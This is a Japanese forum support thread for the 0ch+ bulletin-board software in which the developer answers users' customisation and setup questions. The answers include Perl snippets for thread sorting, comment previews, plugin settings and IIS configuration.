ありがとうございました

688 :名無しさん@ぜろちゃんねるプラス:2013/11/16(土) 01:57:03.36 ID:4mqP9Xez0
携帯用のindex画面のみ、sage関係なく書き込み順でスレッドを表示することは可能でしょうか?

689 :0ch+開発担当 ◆0chp.sx.ik :2013/11/16(土) 17:37:26.10 ID:8Wp6Cdou0
>>688
module/varda.pl の147行目と p.cgi の235行目のGetKeySetの行の後に以下のコードを加えてください。
  my %mdate = ();
  my $basePath = $Sys->Get('BBSPATH') . '/' . $Sys->Get('BBS');
  foreach my $key (@threadSet) {
    $mdate{$key} = (-M "$basePath/dat/$key.dat");
  }
  @threadSet = sort {$mdate{$a} <=> $mdate{$b}} @threadSet;

p.cgiの方はさらに3ヶ所書き換えてください。
-67:  $max = CreateThreadList($Threads, $Set, \@tList, \%pPath, '');
+67:  $max = CreateThreadList($Sys, $Threads, $Set, \@tList, \%pPath, '');

-71:  $max = CreateThreadList($Threads, $Set, \@tList, \%pPath, $Form->Get('word', ''));
+71:  $max = CreateThreadList($Sys, $Threads, $Set, \@tList, \%pPath, $Form->Get('word', ''));

-230:  my ($Threads, $Set, $pList, $pHash, $keyWord) = @_;
+230:  my ($Sys, $Threads, $Set, $pList, $pHash, $keyWord) = @_;

690 :名無しさん@ぜろちゃんねるプラス:2013/11/16(土) 19:58:49.64 ID:4mqP9Xez0
>>189
うまくできました
お忙しい中ありがとうございました

691 :名無しさん@ぜろちゃんねるプラス:2013/11/19(火) 19:06:29.26 ID:3qGKQXb10
同じスレタイで乱立されかけたときに防止するというプラグインは作れるでしょうか?
例えばAという名前でスレタイが建てられた際に、1時間以内にそれと同じスレが3つ以上建てられた際、それから指定した時間の間そのスレタイで建てることはできない、という感じです

692 :名無しさん@ぜろちゃんねるプラス:2013/11/19(火) 20:12:10.19 ID:3qGKQXb10
それとremake.cgiの使い方を教えてください

693 :名無しさん@ぜろちゃんねるプラス:2013/11/19(火) 20:30:23.48 ID:3qGKQXb10
>>692
自決しました

694 :0ch+開発担当 ◆0chp.sx.ik :2013/11/19(火) 22:11:36.19 ID:Y4tXGNNp0
>>691
一応可能です。
今少し忙しいので数日中に作ります。

695 :名無しさん@ぜろちゃんねるプラス:2013/11/19(火) 22:12:18.04 ID:3qGKQXb10
>>694
有難うございます
お待ちしております

696 :名無しさん@ぜろちゃんねるプラス:2013/11/19(火) 22:24:06.69 ID:QwFPUXaB0
ニコニコ百科事典の最近レスが書かれた掲示板のように( ttp://dic.nicovideo.jp/ )
index.htmlにコメントを表示することは可能でしょうか?
具体的にはi/index.htmlのスレッドの横にコメントを一つ表示したいと思っています

1: スレッド → 最新レスのコメント(100文字程度)
こんな感じです

697 :0ch+開発担当 ◆0chp.sx.ik :2013/11/19(火) 23:03:47.15 ID:Y4tXGNNp0
>>696
可能です。
こちらも数日中にサンプルを作ってみます。

698 :名無しさん@ぜろちゃんねるプラス:2013/11/19(火) 23:13:06.45 ID:QwFPUXaB0
>>697
お忙しい中すみません
よろしくお願いします

699 :名無しさん@ぜろちゃんねるプラス:2013/11/19(火) 23:17:56.07 ID:QwFPUXaB0
>>696の件で追記です
コメント部分に書かれたURLは自動でリンクしないようにできると嬉しいです
1: スレッド → 最新レスのコメント(100文字程度) ← この部分にURLが表示されてしまうのは好ましくないと思いますので

700 :名無しさん@ぜろちゃんねるプラス:2013/11/20(水) 14:34:51.84 ID:3FxOD0nVP
さくらのレンタルサーバーを利用しいます。
>602さんと全く同じ現象で悩んでいましたが、
>622と>624の対処法で解決できました。

701 :名無しさん@ぜろちゃんねるプラス:2013/11/20(水) 17:55:31.91 ID:mWH0rOFx0
ランダムでスレに書き込むことは可能でしょうか?
例えば1時間ごとにランダムでスレに書き込む、とかです


702 :0ch+開発担当 ◆0chp.sx.ik :2013/11/20(水) 19:56:06.32 ID:vzUDmOn90
>>700
ご迷惑をお掛けしてしまったようで、すみません。

>>701
cron等の設定ができるなら可能です。
>>440のプログラムを利用するなどして実装してください。

703 :名無しさん@ぜろちゃんねるプラス:2013/11/21(木) 17:53:49.85 ID:fspIp7g50
さっき気がついたのですが
例えば、1スレッドのレス最大数を最初10までにする
10まで書き込んで一度使い切る
次にレス最大数を15まであげる
15まで書き込んで使い切る

このように操作すると過去ログに送っていないのに
1〜10まで書き込んだホストの情報が消えて
12〜15まで書き込んだホストの情報しか残らないのですがこれは仕様なのでしょうか?

もしも仕様でなければ何らかの方法で消えないようにしたい
もしくはしたらばのようにcsv形式で出力して事前に保存しておきたいのですが
そういった事は可能でしょうか?

704 :名無しさん@ぜろちゃんねるプラス:2013/11/21(木) 19:22:32.36 ID:0yhQ7EJH0
Subback.htmlとはどこで生成されているのでしょう?

705 :0ch+開発担当 ◆0chp.sx.ik :2013/11/21(木) 20:47:36.47 ID:/o/xXlQF0
>>703
「このスレッドはxxを超えました」のレスが2つ加わったことで
ログを表示する際にレスとログの対応が取れなくなってしまったのが原因です。
レスとログのマッチング処理が不完全なのでこのようなことが起こりますが、
これは表示上(管理画面側)の問題なのでログ自体は残っています。

ログファイルは 各板dir/log/1234567890.cgi です。
csvではありませんが「<>」区切りのデータになっています。

>>704
[bbs.cgi] -> sub BBSCGI -> [module/varda.pl] -> sub CreateSubback
で生成されています。

706 :名無しさん@ぜろちゃんねるプラス:2013/11/21(木) 20:49:05.15 ID:0yhQ7EJH0
>>705
ありがとうございます
それとスレ番号の取得というのはどうすればできますか?

707 :名無しさん@ぜろちゃんねるプラス:2013/11/21(木) 20:59:34.54 ID:fspIp7g50
>>705
ありました
教えていただきありがとうございます

708 :0ch+開発担当 ◆0chp.sx.ik :2013/11/21(木) 21:37:14.92 ID:/o/xXlQF0
>>706
以下のコードで取得できます。
  my $key = $Sys->Get('KEY');

709 :名無しさん@ぜろちゃんねるプラス:2013/11/21(木) 21:42:38.37 ID:0yhQ7EJH0
>>708
できました!
ありがとうございます

710 :名無しさん@ぜろちゃんねるプラス:2013/11/22(金) 12:28:38.64 ID:CBygiTbf0
質問です
設置に成功し、readmeのパスでログインができ、早速システム設定を行おうとしたのですが
どのリンクをクリックしても反応がありません
水色の文字に下線も付いていて、リンクされていないというわけではなさそうなのですが…
JSは有効にしてあり、IE、chromeなど複数のブラウザで試しましたが、全て同じ状況になりました
何か解決法などありましたらご教授くだされば嬉しいです


711 :0ch+開発担当 ◆0chp.sx.ik :2013/11/22(金) 12:55:59.72 ID:ATdR96Fn0
>>710
test/datas ディレクトリのパーミッションと
test/datas/ 内のファイルのパーミッションを間違えていませんか?

712 :名無しさん@ぜろちゃんねるプラス:2013/11/22(金) 17:29:25.42 ID:9eNMiJOq0
僕も691のプラグインが欲しいのですがまだ時間かかりますでしょうか

713 :0ch+開発担当 ◆0chp.sx.ik :2013/11/22(金) 22:40:02.10 ID:ATdR96Fn0
>>712
明日作って公開するつもりです。

714 :名無しさん@ぜろちゃんねるプラス:2013/11/23(土) 00:59:59.92 ID:tKyTsoZP0
よろしくお願いします

715 :名無しさん@ぜろちゃんねるプラス:2013/11/23(土) 11:26:20.21 ID:i7bfZ4TB0
>>711
解決しました!ありがとうございます

716 :0ch+開発担当 ◆0chp.sx.ik :2013/11/23(土) 21:29:23.74 ID:6ROEZnZB0
>>691,712
「同一スレッド乱立防止」プラグインを作ってみました。これでどうでしょうか。
http://svn.sourceforge.jp/svnroot/zerochplus/codes/0ch_sametitle.pl

717 :0ch+開発担当 ◆0chp.sx.ik :2013/11/23(土) 21:31:06.45 ID:6ROEZnZB0
>>696
module/varda.pl の(0.7.4オリジナルで)159行目の
  $Page->Print("<a href=\"$path\">$i: $name($res)</a><br> \n");
という1行を以下のコードに書き換えてください
  my $text = '';
  if (open(my $fh, '<', "$basePath/dat/$key.dat")) {
    while (<$fh>) {
      last if(eof($fh));
    }
    close($fh);
    $text = (split(/<>/, $_, -1))[3];
    $text =~ s/<[bh]r>/ /gi;
    $text =~ s/<[^>]+>//g;
    $text =~ s/\s+/ /g;
    require Encode;
    $text = Encode::decode('sjis', $text);
    $text = substr($text, 0, 100);
    $text = Encode::encode('sjis', $text);
    $text = " : $text ";
  }
  $Page->Print("<a href=\"$path\">$i: $name($res)</a>$text<br> \n");

>>689を適用していると考えてコードを書いていますが、
$basePathを定義していなければ適当なところに以下のコードを加えてください。
  my $basePath = $Sys->Get('BBSPATH') . '/' . $Sys->Get('BBS');

718 :名無しさん@ぜろちゃんねるプラス:2013/11/23(土) 21:45:34.40 ID:Q5wSE/IV0
>>717
ありがとうございます。
うまくできました

初期設定だと3件の表示ですが、これを10件表示したい場合はどうすれば良いのでしょうか?

719 :名無しさん@ぜろちゃんねるプラス:2013/11/23(土) 21:50:30.12 ID:AppZut7r0
timecountに依存せず操作するにはレス数やスレ立てを規制するにはどうしたらよいでしょうか?
要するに忍法帖のようなもので書き込み数で規制が強まったより、弱まったりするようにしたいのですがそのような方法が分かりません
vara.plのをコピーして使おうと思ったのですがtimecountの値を読み込んでいるみたいなので無理そうです……
どうすればいいでしょうか?

720 :名無しさん@ぜろちゃんねるプラス:2013/11/23(土) 21:55:31.37 ID:AppZut7r0
>>719
えっと単純に一時間以内に建てられるスレッドやレス数をtimecountなどに依存せず設定したいのです
例えばレベル15以下の人は一時間の間に2個まで建てられて15レスできる
この、一時間に2個、15レスの規制部を作りたいんです

721 :名無しさん@ぜろちゃんねるプラス:2013/11/23(土) 22:04:59.66 ID:Q5wSE/IV0
>>718の件ですが自己解決しました
ありがとうございました

722 :0ch+開発担当 ◆0chp.sx.ik :2013/11/23(土) 22:35:18.74 ID:6ROEZnZB0
>>719-720
スレ立ての方は、既存の時間依存規制を利用して
vara.plの506行目あたりの$tateHourと$tateCountをレベルに応じて設定すればOKです。

レスの方は同様の時間依存規制がないので、PEREGRIN::IsTatesugi() と同様のものを作る必要があります。
要求とは違いますが、Samba規制を利用すれば$Sambaの値を変更するだけなので簡単です。

それ以外の規制(timecount関連など)は無効にしてしまえばいいと思います。

723 :名無しさん@ぜろちゃんねるプラス:2013/11/23(土) 22:40:46.77 ID:AppZut7r0
>>722
分かりました、やってみます
有難うございました

724 :名無しさん@ぜろちゃんねるプラス:2013/11/24(日) 03:56:32.82 ID:9FsDDkPU0
>>717の件ですが、省略表示をしたい場合どうすれば良いでしょうか?
100文字以上はindex.htmlと同じように(省略されました・・全てを読むにはここを押してください)と表示させたいのですが

725 :名無しさん@ぜろちゃんねるプラス:2013/11/24(日) 08:32:45.83 ID:8nFoy+5V0
特定のレスにアンカーで属性を付け足すというのはどうすればいいでしょう?
例えば>>123とやったら123レス目に属性を付け足す、という風に

726 :0ch+開発担当 ◆0chp.sx.ik :2013/11/24(日) 13:49:39.71 ID:APx4yCnj0
>>724
  $text = substr($text, 0, 100);
の1行を以下のコードに置き換えてください。
  if (length($text) > 100) {
    $text = substr($text, 0, 90);
    $text = Encode::encode('sjis', $text);
    my $respath = $Conv->CreatePath($Sys, 'O', $bbs, $key, $res);
    $text = "$text ...<a href=\"$respath\">(省略)</a>"
  } else {
    $text = Encode::encode('sjis', $text);
  }

このコードではリンクを押すとr.cgiに飛ぶようになっています。
read.cgiにするならCreatePathの 'O' を 0 に変えてください。

727 :0ch+開発担当 ◆0chp.sx.ik :2013/11/24(日) 14:02:09.39 ID:APx4yCnj0
>>725
レスに属性を付加する機能は用意していません。
自前で情報を保存するか、スレッドの属性付加機能を借りるかのどちらかです。

  my $CGI = $Sys->Get('MainCGI');
  my $Threads = $CGI->{'THREADS'} || $Sys->Get('_THREAD_');
  my $threadid = $Sys->Get('KEY');
 
  my $text = $Form->Get('MESSAGE');
  foreach my $res ($text =~ /&gt;&gt;([0-9]+)/g) {
    $Threads->SetAttr($threadid, "res$res", '属性情報');
  }

728 :名無しさん@ぜろちゃんねるプラス:2013/11/24(日) 17:04:42.62 ID:8nFoy+5V0
特定の属性がついているとそれ以降は書き込めないというプラグインを作っています
しかし何度やっても書き込めるんです……
どこが違うのでしょうか?
if ($Sys->Equal('MODE', 1)) {
if ($mail =~ s/!muri//g) {
$Form->Set('mail',"");
$Threads->SetAttr($key,'muri');
$Threads->SaveAttr($Sys);
}
}
my $muri = $Threads->GetAttr($key, 'muri');
if ($muri) {
PrintBBSError($Sys,$Form,910);
}


PrintBBSEroorはちゃんと入れていますし、対応する番号のエラーメッセージも挿入したのに……なぜでしょう?


729 :名無しさん@ぜろちゃんねるプラス:2013/11/24(日) 17:04:59.82 ID:8nFoy+5V0
ちなみに属性自体はちゃんとついています


730 :0ch+開発担当 ◆0chp.sx.ik :2013/11/24(日) 17:12:39.05 ID:APx4yCnj0
>>728
SetAttrの引数は (スレッド番号, 属性名, 属性値) となっています。
  $Threads->SetAttr($key, 'muri', 1);
このように属性を設定してください。

731 :0ch+開発担当 ◆0chp.sx.ik :2013/11/24(日) 17:17:25.66 ID:APx4yCnj0
>>728
どのような仕様にするのかはわかりませんが、
  if ($Sys->Equal('MODE', 1))
この条件は スレ立て時(>>1) のみ真になります。
この場合だと>>2以降で !muri 指定は出来ません。

732 :名無しさん@ぜろちゃんねるプラス:2013/11/24(日) 17:24:41.80 ID:8nFoy+5V0
>>731
えっとですね……
正確に説明いたしますと、スレ立て時に!muriとすると無理属性が付きます
そしてそのスレは特定条件を満たした方のみが書き込めるようにしたいのです
最初はその条件も書いていたのですができなかったのでまずはmuri属性だったらエラーを表示するように組みたかったのですが……
それでも失敗したんです
属性をつければいいのでスレ立て時でいいんです
しかしなぜかレス時にエラーメッセージが表示されないんです……

733 :名無しさん@ぜろちゃんねるプラス:2013/11/24(日) 17:40:09.87 ID:8nFoy+5V0
>>730
Software error:

Can't locate object method "getConfig" via package "ORALD" at ./plugin/0ch_PP.pl line 23.

とはいったいなんでしょうか……

734 :名無しさん@ぜろちゃんねるプラス:2013/11/24(日) 17:47:36.47 ID:8nFoy+5V0
もうソース公開します
http://sharesrc.appspot.com/code/cb93q88p4sjgadudu1h2
特定の部分(プラグイン名や説明)はただ消してるだけです
これを実行するとエラーが表示されず、1を付け足しても>>733が表示されるのです

735 :0ch+開発担当 ◆0chp.sx.ik :2013/11/24(日) 18:16:38.07 ID:APx4yCnj0
>>732
なるほど、そうでしたか。
>>734
サイトがエラーを吐いていてコードを確認できません。

>>733
http://svn.sourceforge.jp/svnroot/zerochplus/codes/0ch_template3.pl
こちらの sub PrintBBSError を使ってみてください。
引数が変わって以下のようになります。
  PrintBBSError($Sys, 910);

736 :名無しさん@ぜろちゃんねるプラス:2013/11/24(日) 18:19:22.02 ID:8nFoy+5V0
>735
できました
有難うございました

737 :名無しさん@ぜろちゃんねるプラス:2013/11/24(日) 19:18:15.39 ID:9FsDDkPU0
>>726
できました
ありがとうございました

738 :名無しさん@ぜろちゃんねるプラス:2013/11/25(月) 11:48:50.27 ID:uxphSOTt0
■掲示板に戻る■ 全部 1- 101- 201- 301- 401- 501- 601- 701- 最新50
とありますが、2ちゃんねるみたいに
■掲示板に戻る■ 全部 1- 最新50
にするにはどうしたら良いでしょうか?

739 :0ch+開発担当 ◆0chp.sx.ik :2013/11/25(月) 20:05:31.84 ID:WRYGwHuf0
>>738
read.cgiの267行目辺りのforブロックを削除かコメントアウトして、
そのあたりに以下のコードを加えてください。
  my $path100 = $Conv->CreatePath($Sys, 0, $bbs, $key, '-100');
  $Page->Print(" <a href=\"$path100\">1-</a>\n");

740 :名無しさん@ぜろちゃんねるプラス:2013/11/25(月) 23:06:04.91 ID:uxphSOTt0
>>739
ありがとうございました。

741 :名無しさん@ぜろちゃんねるプラス:2013/11/26(火) 07:46:15.96 ID:GgBe4gT30
read.cgiのバナーについてですが、
<table border="1" cellspacing="7" cellpadding="3" width="100%" bgcolor="#ccffcc" align="center">
</table>
はどこで削除すれば良いでしょうか?

また、バグではないのですが、気になった部分がありましたのでついでにご報告します
SETTINGS.TXTを設定する管理画面(掲示板>制限・規制設定)の件ですが、

連続書き込み規制の
・直近x書き込みのうち、y回まで書き込み可能
のxとyの値が逆だと思います

また、同一ページにある
スレッド作成制限(キャップ)のところの設定が
・キャップのみ可□ 
と文字化け?しているようです

742 :0ch+開発担当 ◆0chp.sx.ik :2013/11/26(火) 20:08:44.57 ID:ntDOUmX90
>>741
>どこで削除すれば良いでしょうか?
module/denethor.pl の207行目あたりです。

>xとyの値が逆だと思います
確かにそうですね、報告ありがとうございます。

>文字化け?しているようです
こちらも報告ありがとうございます。

743 :名無しさん@ぜろちゃんねるプラス:2013/11/27(水) 19:30:05.32 ID:mfdkLNLH0
すみません。
旧のぜろちゃんねからプラスへ移行はそのままで可能ですか?

744 :0ch+開発担当 ◆0chp.sx.ik :2013/11/27(水) 20:10:59.17 ID:wVAvZ7ni0
>>743
大部分は互換性を保っているので移行できるとは思いますが、
細かい点で調整が必要になるかもしれません。

移行前に必ずバックアップを取ってください。

745 :名無しさん@ぜろちゃんねるプラス:2013/11/27(水) 20:25:05.13 ID:mfdkLNLH0
>>744
返事有り難うございます

/test を上書きしたところ、Adminログインでページアウトして
掲示板画面では3001を吐いてました。

Build Version:0ch BBS 2007-01-24

746 :0ch+開発担当 ◆0chp.sx.ik :2013/11/27(水) 21:08:51.13 ID:wVAvZ7ni0
>>745
/test/infoのファイルはerrmsg.cgi以外は設定ファイルなのでなるべく上書きしないようにしてください。
adminはどの段階でどのようなエラーメッセージが表示されますか?

747 :名無しさん@ぜろちゃんねるプラス:2013/11/27(水) 22:14:57.60 ID:mfdkLNLH0
>>746

Adminiは初期パス入れてずっと読み込み中で止まってました。
上書きすべきでないファイルとかあればありがたいです。


748 :0ch+開発担当 ◆0chp.sx.ik :2013/11/27(水) 22:40:15.21 ID:wVAvZ7ni0
>>747
何が原因なのかわかりませんね…

試しに0.7.4のtestを新しく /newbbs/test に配置して動作確認だけしてみてください。
パーミッションの設定は以下のページのとおりです。
http://sourceforge.jp/projects/zerochplus/wiki/Permission

749 :名無しさん@ぜろちゃんねるプラス:2013/11/28(木) 06:12:14.35 ID:xyKu5Zyg0
>>748


設置してみましたが…管理画面が表示されるもののログインボタンを押すとずっと読み込みのままになります。


旧スクリプトは設置可能
プラスは設置→admini画面→パスとユーザ入力→ずっと読み込んだまま

IIS7.0です。

750 :0ch+開発担当 ◆0chp.sx.ik :2013/11/28(木) 20:45:17.84 ID:1amWznGs0
>>749
IISだったんですね。
まったく動作確認したことがなかったので今インストールして実験しているところです。
同じ現象が確認できたので原因を探ってみます。

751 :名無しさん@ぜろちゃんねるプラス:2013/11/29(金) 07:51:39.77 ID:J/XHLSpB0
連続書き込み規制の
・直近x書き込みのうち、y回まで書き込み可能
のxとyの値が逆だと思います

また、同一ページにある
スレッド作成制限(キャップ)のところの設定が
・キャップのみ可□ 
と文字化け?しているようです

はどこで修正すれば良いでしょうか?

752 :0ch+開発担当 ◆0chp.sx.ik :2013/11/29(金) 12:58:41.30 ID:kcxT1xeD0
>>751
mordor/bbs.setting.pl を差し替えてください。
http://svn.sourceforge.jp/svnroot/zerochplus/zerochplus/branches/0.7.x/test/mordor/bbs.setting.pl

753 :0ch+開発担当 ◆0chp.sx.ik :2013/11/29(金) 18:55:59.23 ID:kcxT1xeD0
>>749
やっと原因がわかりました。
samwise.plとCGI.pmが競合していたようです。(IIS特有の現象)

module/samwise.pl の26行目の read の後に close を加えてください。
  read STDIN, $form, $ENV{'CONTENT_LENGTH'};
  close STDIN;

754 :名無しさん@ぜろちゃんねるプラス:2013/11/29(金) 19:11:05.96 ID:J/XHLSpB0
>>752
ありがとうございました

755 :名無しさん@ぜろちゃんねるプラス:2013/11/29(金) 21:38:30.81 ID:gQCWy7nR0
>>753

無事起動しました。
掲示板を選択後のキャップグループをクリックすると502エラーが出ます。
システムでは発生しません。


キャップグループ
javascript:DoSubmit('bbs.cap','DISP','LIST');
エラー

キャップ
javascript:DoSubmit('sys.cap','DISP','LIST');

正常遷移


Q書き込みログは何処で表示させるのでしょうか?
若しくは表示させる設定がるのでしょうか?
荒らし対応等の必要のためです。

756 :名無しさん@ぜろちゃんねるプラス:2013/11/29(金) 21:58:21.05 ID:kIRa5JFw0
私も>>722のようなことがしたいのですが一体どうすればいいのでしょうか?
説明で理解できませんでした

757 :0ch+開発担当 ◆0chp.sx.ik :2013/11/30(土) 00:44:08.66 ID:RFkAcj0+0
>>755
>502エラーが出ます。
こちらでは確認できません。エラー内容は分かりますか?

>書き込みログは何処で表示させるのでしょうか?
スレッド一覧から対象のスレッドをクリックするとレス一覧とホスト情報が表示されます。


>>756
規制まわりの操作はそもそもプログラムの構造がよくないので簡単には出来ませんが、
プラグインでやるとすれば掲示板設定を一時的に書き換える方法が一番簡単だと思います。
  my $CGI = $Sys->Get('MainCGI');
  my $Set = $CGI->{'SET'};
  $Set->Set('BBS_TATESUGI_COUNT', 3);
※規制処理より前に実行する必要があるので「拡張機能タイプ」は(1|2)です。

※レベルシステムの実装についてはサポートしませんが、
個人の特定方法、Cookieの受け渡し方などの技術的な質問は受け付けます。

758 :名無しさん@ぜろちゃんねるプラス:2013/11/30(土) 08:08:59.03 ID:Wkt2jKZb0
>>757
ありがとうございました!
レベルを使うわけではないので、大丈夫です!

759 :名無しさん@ぜろちゃんねるプラス:2013/11/30(土) 08:23:23.63 ID:54SnL5Ii0
>>757
HTPの502エラーなので……

原因が解りました。
旧ゼロちゃんねるのキャップグループの設定がプラスと互換性が無いためでした。

一度これで仮運用してみようかと思います。

760 :名無しさん@ぜろちゃんねるプラス:2013/11/30(土) 10:44:43.29 ID:54SnL5Ii0
>>757

連続してエラーになるIPを一定時間アクセス禁止にする方法はありませんか?

2013/11/30 10:04 104 (1行長すぎ) 0ch+ BBS 0.7.4 20131106
2013/11/30 10:04 104 (1行長すぎ) 0ch+ BBS 0.7.4 20131106
2013/11/30 10:04 104 (1行長すぎ) 0ch+ BBS 0.7.4 20131106
2013/11/30 10:04 104 (1行長すぎ) 0ch+ BBS 0.7.4 20131106
2013/11/30 10:04 104 (1行長すぎ) 0ch+ BBS 0.7.4 20131106
2013/11/30 10:04 104 (1行長すぎ) 0ch+ BBS 0.7.4 20131106
2013/11/30 10:04 104 (1行長すぎ) 0ch+ BBS 0.7.4 20131106
2013/11/30 10:04 104 (1行長すぎ) 0ch+ BBS 0.7.4 20131106
2013/11/30 10:04 104 (1行長すぎ) 0ch+ BBS 0.7.4 20131106
2013/11/30 10:04 104 (1行長すぎ) 0ch+ BBS 0.7.4 20131106


掲示板のホスト規制かけててもエラーログは出てるようです。
海外ISPからのスクリプト投稿のようです>IPぐぐったら
今はサーバの機能でDenyにしてます。




761 :0ch+開発担当 ◆0chp.sx.ik :2013/11/30(土) 13:35:54.05 ID:RFkAcj0+0
>>760
>一定時間アクセス禁止にする方法
CGIからアクセス禁止の設定ができる仕組みはありません。
bbs.cgiに限定すれば出来なくもないですが、本体を改造する必要があります。

>エラーログは出てるようです
基本的に0chのエラーページが表示されるものは全てエラーログに記録されます。

英文スパムであれば「スパムキラー」プラグインを使ってみてください。
※当然エラーログは出力されます。

762 :名無しさん@ぜろちゃんねるプラス:2013/11/30(土) 13:53:13.10 ID:54SnL5Ii0
>>757
IIS7.0
バニラの状態で設置
./
└cgi
  └testbbs
     └test(仮想フォルダ) 

なお、/testは仮想フォルダ化(そうしないと502エラー)

    サーバ:http://****.dyndns.dk
    CGIパス:/cgi/testbbs/test
    掲示板パス:..
    管理データフォルダ:/info
    基本データフォルダ:/datas

1.Indexの作成を確認
2.スレッドの作成を確認。
3.書き込みボタンからの書き込みを確認。
4.Index更新を確認。
5.最新を表示、全部読む等のリンクをクリックすると3001エラー(read.cgiのKeyが読み込めない)

ちなみに、2chブラウザからは読み込みができる。
Indexページから3001エラーで読みこない。

763 :名無しさん@ぜろちゃんねるプラス:2013/11/30(土) 13:54:55.58 ID:54SnL5Ii0
>>761

了解です。
スパムキラーを使用します。

>>762の様なエラーがでております。
ご教授ください。


764 :0ch+開発担当 ◆0chp.sx.ik :2013/11/30(土) 14:44:18.91 ID:RFkAcj0+0
>>762
IISについては詳しくないのですが、どうやらPATH_INFOが無効になっているようです。
こちらはIIS7.5なので少し違う点もあるかもしれませんが、一応設定手順です。

1. 構成エディターを開く
2. セクション「system.webServer/handlers」を選んで、「(コレクション)」を選択
  「項目の編集」でコレクションエディターを開く
3. CGI(Perl)のハンドラーを選択してプロパティ「allowPathInfo」を「True」に切り替える
4. エディターを閉じて「適用」する

765 :名無しさん@ぜろちゃんねるプラス:2013/11/30(土) 15:12:44.13 ID:54SnL5Ii0
>>764
ありがとうございます。
正常に稼働を確認しました。

IISでする場合は……
1.CGI-EXEをcgiへ
2.web.configでallowPathInfoを編集する。

ココらへんが重要みたいですね。


当方の環境のみののでしょうけど、testフォルダを仮想フォルダ化しないといけないみたいです。


766 :名無しさん@ぜろちゃんねるプラス:2013/11/30(土) 19:27:18.24 ID:Wkt2jKZb0
ゼロチャンネルプラスを使用した鯖でCGIを作るときに表示させたいものがある場合に$Pageって使わなければいけないのでしょうか?

767 :0ch+開発担当 ◆0chp.sx.ik :2013/11/30(土) 19:46:06.31 ID:RFkAcj0+0
>>765
>testフォルダを仮想フォルダ化
カレントディレクトリの問題かもしれません。

>>766
特に制約はありません。

768 :たろう:2013/12/01(日) 00:54:23.45 ID:Nfaw0pUu0
はじめまして。
大変よいスクリプトに出会うことができ感謝しております。
こちらの2ちゃんねる風掲示板は、utf8で稼働させることは
可能でしょうか。
お忙しいところ恐縮ですが何卒よろしくお願いいたします。

769 :0ch+開発担当 ◆0chp.sx.ik :2013/12/01(日) 01:08:39.99 ID:7LzecaBz0
>>768
スクリプトは完全にShift_JISに依存してしまっていて手がつけられない状態です。
また、.datやsubject.txtについてはShift_JISでなければほとんどの専ブラで文字化けしてしまいます。

Shift_JISのまま稼働させるのが無難だと思いますが、
なにかUTF-8でなければならない理由があるのでしょうか。

770 :名無しさん@ぜろちゃんねるプラス:2013/12/01(日) 10:20:59.12 ID:6w7oSQ670
>>769
プラグインの設定値をCGIで受け取ることは可能でしょうか
設定値であるhogehogeを受け取ろうとしました
my $this = shift;
my $hogehoge = $this->Get('_hogehoge');
ですが以下のようなエラーメッセージが
Can't call method "Get" on an undefined value at count.cgi line 14.
どうすればよいでしょうか


771 :0ch+開発担当 ◆0chp.sx.ik :2013/12/01(日) 12:32:17.39 ID:7LzecaBz0
>>770
設定はCGIで使うためにあるのでもちろん可能です。
GetではなくGetConfを使ってください。
  my $hogehoge = $this->GetConf('_hogehoge');
  $this->SetConf('_hogehoge', $hogehoge);

772 :名無しさん@ぜろちゃんねるプラス:2013/12/01(日) 12:37:20.08 ID:6w7oSQ670
同じように返されました
Can't call method "GetConf" on an undefined value at count.cgi line 14.

773 :0ch+開発担当 ◆0chp.sx.ik :2013/12/01(日) 13:30:04.96 ID:7LzecaBz0
プラグイン外で取得するということだったんですね。


# システム管理オブジェクトを用意
require './module/melkor.pl';
my $Sys = MELKOR->new;
$Sys->Init();

# プラグイン管理オブジェクトを用意
require './module/athelas.pl';
$Plugins = ATHELAS->new;
$Plugins->Load($Sys);

# プラグインの個別設定を操作するオブジェクトを用意
my $pid = $Plugins->Get('CLASS', 'ZPL_testplugin');
my $Config = PLUGINCONF->new($Plugins, $pid);

# 設定
my $hogehoge = $Config->GetConfig('_hogehoge');
$Config->SetConfig('_hogehoge', $hogehoge);

774 :0ch+開発担当 ◆0chp.sx.ik :2013/12/01(日) 13:32:02.15 ID:7LzecaBz0
あるいはtest/plugin_conf/内の該当する設定ファイルを直接読み込む方法もあります。

775 :名無しさん@ぜろちゃんねるプラス:2013/12/01(日) 13:35:26.55 ID:6w7oSQ670
>>774
plugin_confですか?
……読み込み方を教えてください
ファイル名はhogehogeで

776 :0ch+開発担当 ◆0chp.sx.ik :2013/12/01(日) 13:46:29.82 ID:7LzecaBz0
>>775
「値の種類<>設定名<>設定値」という形式になっています。

my %conf = ();
if (open my $fh, '<', './plugin_conf/0ch_hogehoge.cgi') {
  while (<$fh>) {
    chomp($_);
    my (undef, $key, $val) = split /<>/, $_, -1;
    $conf{$key} = $val;
  }
  close $fh;
}

777 :名無しさん@ぜろちゃんねるプラス:2013/12/01(日) 13:51:20.53 ID:6w7oSQ670
>>776
設定値を変数に代入する場合にはどうすればいいのでしょうか
$hogehoge=設定名
でいいのでしょうか

778 :名無しさん@ぜろちゃんねるプラス:2013/12/01(日) 13:52:46.34 ID:6w7oSQ670
それとも先ほどのように
my $hogehoge =$this->GetConf('_設定名');
でいいのでしょうか

779 :0ch+開発担当 ◆0chp.sx.ik :2013/12/01(日) 13:54:59.06 ID:7LzecaBz0
>>777
$hogehoge = $conf{'_hogehoge'};
です。

>>778
その方法は$thisがプラグインのオブジェクトでなければ使えません。

780 :名無しさん@ぜろちゃんねるプラス:2013/12/01(日) 13:58:39.29 ID:6w7oSQ670
Global symbol "$hogehoge" requires explicit package name at hogehoge.cgi line 22.
なぜこのようになるのでしょうか

781 :名無しさん@ぜろちゃんねるプラス:2013/12/01(日) 14:00:03.63 ID:6w7oSQ670
何度もすいません、質問して
えっと、正直なところゼロチャンネルプラスで公開されていたkakikomi.plのようなプラグインを扱っているのです
そこで数値を読み込もうとしているのですがどうもうまくいかないという話で
本当に申し訳ございません

782 :0ch+開発担当 ◆0chp.sx.ik :2013/12/01(日) 14:07:19.15 ID:7LzecaBz0
>>780
もう少しPerlの基礎を学んではいかがですか。
これはエラーメッセージをググればすぐ解決できる問題です。
自己解決能力を身につけなければプログラミングは難しいと思いますよ。

783 :名無しさん@ぜろちゃんねるプラス:2013/12/01(日) 14:09:05.17 ID:6w7oSQ670
>>782
そうですね
ありがとうございました

784 :名無しさん@ぜろちゃんねるプラス:2013/12/01(日) 14:10:02.61 ID:6w7oSQ670
あ、分かりました
宣言ができていなかったみたいです
本当にしませんでした

